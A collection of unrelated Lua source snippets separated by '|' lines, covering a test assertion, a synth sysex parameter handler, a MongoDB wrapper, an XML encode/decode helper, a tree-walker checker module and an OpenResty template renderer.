assert_error("Expected missing 'on'", function()
Store:_sqlAddJoin("", "project", {
tableName = "developerproject"
})
end)
end
|
function request_update()
instrument:send_sysex({0xf0, 0x7e, 0xf7})
end
gui:add_toolbutton("Request update", request_update)
--
-- Called by the Patch Pirate core
--
function parameter_changed(param, value)
io.write(string.format("LUA: GUI changed param: %s (%s) = %s\n",
param.label, param.id, value))
instrument:send_sysex({0xf0, 0x7f,
high8(param.number), low8(param.number),
high7(value), low7(value),
0xf7})
end
function handle_sysex_data(data)
io.write("LUA got sysex: ")
for i, d in ipairs(data) do
io.write(string.format("%02X", d))
if ((i%4)==0) then io.write(" ") end
end
io.write("\n")
if (data:matches({ 0xf0, 0x7f })) then
local param = bit32.bor(bit32.lshift(data[3], 8), data[4])
local value = sexwordfrom7s(data[5], data[6])
io.write(string.format("Got param: %04x %04x\n", param, value))
instrument:update_parameter(param, value)
end
end
|
local mongo = require "mongo"
local M = {}
M.__index = M
function M.new()
local o = {
db = nil
}
setmetatable(o, M)
return o
end
function M:connect(dbconf)
self.conn = mongo.client(dbconf)
end
function M:use(db_name)
self.conn:getDB(db_name)
self.db = self.conn[db_name]
end
function M:find(coll_name, selector, fields)
return self.db[coll_name]:find(selector, fields)
end
function M:find_one(coll_name, cond_tbl)
return self.db[coll_name]:findOne(cond_tbl)
end
function M:insert(coll_name, obj)
self.db[coll_name]:insert(obj)
end
function M:update(coll_name, indexs, obj_fields)
self.db[coll_name]:update(indexs, obj_fields)
end
return M
|
-- Copyright © 2017 coord.cn. All rights reserved.
-- @author QianYe([email protected])
-- @license MIT license
local utils = require("miss-core.src.utils")
local _M = {}
-- @brief xml to lua table
-- @param xml {string}
-- <xml>
-- <appid>123456</appid>
-- <test>test</test>
-- </xml>
-- @return tab {object}
-- {
-- appid = 123456,
-- test = test
-- }
function _M.decode(xml)
local tab = {}
local content = xml:match("<xml>(.+)</xml>")
if not content then return nil end
local lines = utils.split(content, "\n")
for i = 1, #lines do
local line = lines[i]
local key, value = line:match('<(.-)><!%[CDATA%[(.-)%]%]>')
if key and value then
tab[key] = value
else
key, value, _ = line:match('<([^>]*)>([^<]*)')
if key and value then
tab[key] = value
end
end
end
return tab
end
-- @brief lua table to xml
-- @param tab {object}
-- @return xml {string}
function _M.encode(tab)
local xml = "<xml>"
for key, val in pairs(tab) do
xml = xml .. "<" .. key .. "><![CDATA[" .. val .. "]]></" .. key .. ">"
end
return xml .. "</xml>"
end
return _M
|
--------------------------------------------------------------------------------
--- Data walking with fancy checking facilities
-- @module lua-aplicado.dsl.tree_walker_with_checker
-- This file is a part of lua-nucleo library
-- @copyright lua-nucleo authors (see file `COPYRIGHT` for the license)
--------------------------------------------------------------------------------
-- Sandbox warning: alias all globals!
--------------------------------------------------------------------------------
local assert, error, tostring, rawget, getmetatable, setmetatable
= assert, error, tostring, rawget, getmetatable, setmetatable
local table_insert, table_remove, table_concat
= table.insert, table.remove, table.concat
--------------------------------------------------------------------------------
local log, dbg, spam, log_error
= import 'lua-aplicado/log.lua' { 'make_loggers' } (
"lua-aplicado/dsl/tree_walker_with_checker", "TWC"
)
--------------------------------------------------------------------------------
local arguments,
optional_arguments,
method_arguments
= import 'lua-nucleo/args.lua'
{
'arguments',
'optional_arguments',
'method_arguments'
}
local is_string
= import 'lua-nucleo/type.lua'
{
'is_string'
}
local assert_is_function,
assert_is_nil
= import 'lua-nucleo/typeassert.lua'
{
'assert_is_function',
'assert_is_nil'
}
local timap
= import 'lua-nucleo/table-utils.lua'
{
'timap'
}
local do_nothing
= import 'lua-nucleo/functional.lua'
{
'do_nothing'
}
local make_checker
= import 'lua-nucleo/checker.lua'
{
'make_checker'
}
local unique_object
= import 'lua-nucleo/misc.lua'
{
'unique_object'
}
local common_load_schema
= import 'lua-nucleo/dsl/common_load_schema.lua'
{
'common_load_schema'
}
local walk_tagged_tree
= import 'lua-nucleo/dsl/tagged-tree.lua'
{
'walk_tagged_tree'
}
--------------------------------------------------------------------------------
local create_tree_walker_with_checker_factory
do
local default_factory
do
local checker = function(self)
method_arguments(self)
return self.checker_
end
default_factory = function()
return
{
checker = checker;
--
checker_ = make_checker();
}
end
end
local prototype_mt
do
local current_node_path_key = unique_object()
local fail = function(self, msg)
local path = self:get_current_node_path()
local data = path[#path]
if not data then
self:checker():fail("(???): " .. tostring(msg))
else
local where = ""
if data.file_ and data.line_ then
where = data.file_ .. ":" .. data.line_ .. ": "
end
self:checker():fail(
where
.. "bad " .. tostring(data[self.tag_field_]) .. " \""
.. table_concat(
self:get_current_node_path_readable(),
self.node_path_separator_
) .. "\": "
.. tostring(msg)
)
end
return self
end
local ensure = function(self, msg, cond, err)
if not cond then
if not err then
self:fail(msg)
else
self:fail(msg .. " (" .. tostring(err) .. ")")
end
end
return self
end
local ensure_equals = function(self, msg, actual, expected)
if actual ~= expected then
self:fail(
msg
.. " (actual: `" .. tostring(actual)
.. "', expected: `" .. tostring(expected)
.. "')"
)
end
return self
end
local good = function(self)
method_arguments(self)
return self:checker():good()
end
local result = function(self)
method_arguments(self)
return self:checker():result()
end
local get_current_node_path = function(self)
local path = self[current_node_path_key]
if path == nil then
path = { }
self[current_node_path_key] = path
end
return path
end
local get_current_node = function(self)
local path = self:get_current_node_path()
return path[#path]
end
local get_node_path_name = function(node, name_field, tag_field)
local name = node[name_field]
if not is_string(name) or #name > 32 then -- NOTE: arbitrary limitation
name = nil
end
if not name then
name = tostring(node[tag_field])
if #name > 32 then
name = name:sub(1, 29) .. "..."
end
name = "(" .. name .. ")"
end
return name
end
local get_current_node_path_readable = function(self)
method_arguments(self)
return timap(
get_node_path_name,
self:get_current_node_path(),
self.name_field_,
self.tag_field_
)
end
local push_node_to_path = function(self, data)
table_insert(self:get_current_node_path(), data)
end
local pop_node_from_path = function(self, data)
local actual_node = table_remove(self:get_current_node_path())
-- Note raw equality check
if actual_node ~= data then
log_error("current path:", self:get_current_node_path_readable())
log_error(
"tried to pop head",
get_node_path_name(data, self.name_field_, self.tag_field_)
)
error("bad implementation: unbalanced path")
end
end
prototype_mt =
{
fail = fail;
ensure = ensure;
ensure_equals = ensure_equals;
--
good = good;
result = result;
--
get_current_node = get_current_node;
get_current_node_path = get_current_node_path;
get_current_node_path_readable = get_current_node_path_readable;
push_node_to_path = push_node_to_path;
pop_node_from_path = pop_node_from_path;
--
tag_field_ = "id";
name_field_ = "name";
node_path_separator_ = ".";
}
prototype_mt.__metatable = "twwc"
prototype_mt.__index = prototype_mt
end
local wrap_down, wrap_up
do
wrap_down = function(handler)
arguments("function", handler)
return function(walkers, data, key)
walkers:push_node_to_path(data)
local result = handler(walkers, data, key)
if result == "break" then
walkers:pop_node_from_path(data)
end
return result
end
end
wrap_up = function(handler)
arguments("function", handler)
return function(walkers, data, key)
handler(walkers, data, key)
walkers:pop_node_from_path(data)
end
end
end
local up = { }
do
up["walker:tag_field"] = function(self, data)
assert(self.updown_.tag_field_ == nil, "duplicate tag field definition")
self.updown_.tag_field_ = data.name
end
up["walker:name_field"] = function(self, data)
assert(self.updown_.name_field_ == nil, "duplicate name field definition")
self.updown_.name_field_ = data.name
end
up["walker:node_path_separator"] = function(self, data)
assert(
self.updown_.node_path_separator_ == nil,
"duplicate node path separator field definition"
)
self.updown_.node_path_separator_ = data.name
end
up["walker:default_down"] = function(self, data)
self:set_down_mt(assert_is_function(data.handler))
end
up["walker:default_up"] = function(self, data)
self:set_up_mt(assert_is_function(data.handler))
end
up["walker:down"] = function(self, data)
local name = data.name
local down = self.updown_.down
if rawget(down, data.name) ~= nil then
error(
"duplicate walker:down \"" .. tostring(data.name) .. "\" definition"
)
end
down[data.name] = wrap_down(assert_is_function(data.handler))
end
up["walker:up"] = function(self, data)
local name = data.name
local up = self.updown_.up
if rawget(up, data.name) ~= nil then
error(
"duplicate walker:up \"" .. tostring(data.name) .. "\" definition"
)
end
up[data.name] = wrap_up(assert_is_function(data.handler))
end
up["walker:factory"] = function(self, data)
assert_is_nil(self.factory_, "duplicate factory definition")
self.factory_ = assert_is_function(data.handler)
end
end
local set_down_mt, set_up_mt
do
local common_set_mt = function(t, handler, err, mt_name)
arguments(
"table", t,
"function", handler,
"string", err,
"string", mt_name
)
assert(getmetatable(t) == nil, err)
setmetatable(
t,
{
__index = function(t, k)
local v = handler
t[k] = v
return v
end;
__metatable = mt_name;
}
)
end
set_down_mt = function(self, handler)
method_arguments(
self,
"function", handler
)
common_set_mt(
self.updown_.down,
wrap_down(handler),
"duplicate default_down call",
"twwc.updown.down"
)
end
set_up_mt = function(self, handler)
method_arguments(
self,
"function", handler
)
common_set_mt(
self.updown_.up,
wrap_up(handler),
"duplicate default_up call",
"twwc.updown.up"
)
end
end
local fail_at_unknown_down = function(self, data)
-- NOTE: Overhead! Move this check at metatable level.
if not rawget(self.up, data[self.tag_field_]) then
self:fail("unknown language construct")
return "break" -- Do not traverse subtree
end
end
create_tree_walker_with_checker_factory = function(chunk, extra_env)
extra_env = extra_env or { }
arguments(
"function", chunk,
"table", extra_env
)
local schema = common_load_schema(chunk, extra_env, { "walker" })
local updown =
{
down = { };
up = { };
}
updown.__index = updown
updown.__metatable = "twwc.updown"
local walkers =
{
up = up;
--
set_down_mt = set_down_mt;
set_up_mt = set_up_mt;
--
updown_ = updown;
factory_ = nil;
}
for i = 1, #schema do
-- Note this "id" is not the same as the data tag_field.
walk_tagged_tree(schema[i], walkers, "id")
end
if getmetatable(walkers.updown_.down) == nil then
walkers:set_down_mt(fail_at_unknown_down)
end
if getmetatable(walkers.updown_.up) == nil then
walkers:set_up_mt(do_nothing)
end
local factory = walkers.factory_ or default_factory
local mt = setmetatable(updown, prototype_mt)
return function(...)
local result = factory(...)
-- Your walker should provide checker() method.
-- See default_factory() implementation.
assert(result.down == nil, "bad twwc factory: down defined")
assert(result.up == nil, "bad twwc factory: up defined")
assert_is_function(result.checker, "bad twwc factory: missing walker")
return setmetatable(result, mt)
end
end
end
--------------------------------------------------------------------------------
return
{
create_tree_walker_with_checker_factory
= create_tree_walker_with_checker_factory;
}
|
local M = {}
package.loaded[...] = M
M.prefix = 'view.'
local __M = {}
__M.__call = function(M, view_name)
local ok, template = pcall(require, M.prefix..view_name)
if not ok then
return nil, 'view not found'
end
local view = {};
view.template = template;
view.type_error = function(path, type_got)
return 'ERR('..path..','..type_got..')'
end
view.render = function(self, args)
local evaluate = function(context, path)
local value = context
ngx.re.gsub(path, '([^\\.]+)', function(part)
value = value[part[1]]
return part[0]
end
)
return value
end
local origin_render = render
render = function(template, context)
local output = ''
local template_pattern = '(\\{!(.+?)#(.+?)#(.+?)\\})|(\\{\\$\\})|(\\{#(.+?)\\})'
local start = 1
while(start < string.len(template)) do
local from, to = ngx.re.find(string.sub(template, start), template_pattern)
if from == nil then
output = output..string.sub(template, start)
start = string.len(template)
else
output = output..string.sub(template, start, start + from - 2)
local expression = string.sub(template, start + from - 1, start + to - 1)
local match = ngx.re.match(expression, template_pattern)
start = start + to
if match[6] ~= nil then
local value = evaluate(context, match[7])
if type(value) ~= 'string' then
output = output..self.type_error(match[7], type(value))
else
output = output..value
end
elseif match[1] ~= nil then
local skip = 0
local inner_output = nil
local origin_k = context[match[3]]
local origin_v = context[match[4]]
for k, v in pairs(evaluate(context, match[2])) do
context[match[3]] = k
context[match[4]] = v
inner_output, skip = render(string.sub(template, start), context)
output = output..inner_output
end
context[match[3]] = origin_k
context[match[4]] = origin_v
start = start + skip
elseif match[5] ~= nil then
return output, start
else
output = output..match[0]
end
end
end
return output, start
end
local output = render(self.template, args)
ngx.print(output)
render = origin_render
end
return view
end
setmetatable(M, __M)
return M
|
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